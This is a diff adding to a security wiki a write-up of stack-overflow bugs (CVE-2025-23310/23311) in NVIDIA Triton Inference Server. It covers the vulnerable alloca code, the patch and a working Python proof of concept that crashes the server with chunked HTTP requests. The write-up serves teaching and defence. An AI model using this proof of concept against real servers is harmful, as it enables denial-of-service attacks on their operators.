Merge pull request #1241 from HackTricks-wiki/update_Uncovering_memory_corruption_in_NVIDIA_Triton__as__20250805_124236

Uncovering memory corruption in NVIDIA Triton (as a new hire...

Author: carlospolop

src/binary-exploitation/stack-overflow/README.md

@@ -131,8 +131,72 @@ Even though stack canaries abort the process, an attacker still gains a **Denial
 * Always provide a **maximum field width** (e.g. `%511s`).
 * Prefer safer alternatives such as `snprintf`/`strncpy_s`.
 
+### Real-World Example: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
+
+NVIDIA’s Triton Inference Server (≤ v25.06) contained multiple **stack-based overflows** reachable through its HTTP API.  
+The vulnerable pattern repeatedly appeared in `http_server.cc` and `sagemaker_server.cc`:
+
+```c
+int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
+if (n > 0) {
+    /* allocates 16 * n bytes on the stack */
+    struct evbuffer_iovec *v = (struct evbuffer_iovec *)
+        alloca(sizeof(struct evbuffer_iovec) * n);
+    ...
+}
+```
+
+1. `evbuffer_peek` (libevent) returns the **number of internal buffer segments** that compose the current HTTP request body.
+2. Each segment causes a **16-byte** `evbuffer_iovec` to be allocated on the **stack** via `alloca()` – **without any upper bound**.
+3. By abusing **HTTP _chunked transfer-encoding_**, a client can force the request to be split into **hundreds-of-thousands of 6-byte chunks** (`"1\r\nA\r\n"`).  This makes `n` grow unbounded until the stack is exhausted.
+
+#### Proof-of-Concept (DoS)
+```python
+#!/usr/bin/env python3
+import socket, sys
+
+def exploit(host="localhost", port=8000, chunks=523_800):
+    s = socket.create_connection((host, port))
+    s.sendall((
+        f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
+        f"Host: {host}:{port}\r\n"
+        "Content-Type: application/octet-stream\r\n"
+        "Inference-Header-Content-Length: 0\r\n"
+        "Transfer-Encoding: chunked\r\n"
+        "Connection: close\r\n\r\n"
+    ).encode())
+
+    for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
+        s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
+    s.sendall(b"0\r\n\r\n")               # end of chunks
+    s.close()
+
+if __name__ == "__main__":
+    exploit(*sys.argv[1:])
+```
+A ~3 MB request is enough to overwrite the saved return address and **crash** the daemon on a default build.
+
+#### Patch & Mitigation
+The 25.07 release replaces the unsafe stack allocation with a **heap-backed `std::vector`** and gracefully handles `std::bad_alloc`:
+
+```c++
+std::vector<evbuffer_iovec> v_vec;
+try {
+    v_vec = std::vector<evbuffer_iovec>(n);
+} catch (const std::bad_alloc &e) {
+    return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
+}
+struct evbuffer_iovec *v = v_vec.data();
+```
+
+Lessons learned:
+* Never call `alloca()` with attacker-controlled sizes.
+* Chunked requests can drastically change the shape of server-side buffers.
+* Validate / cap any value derived from client input *before* using it in memory allocations.
+
 ## References
 * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
+* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
 
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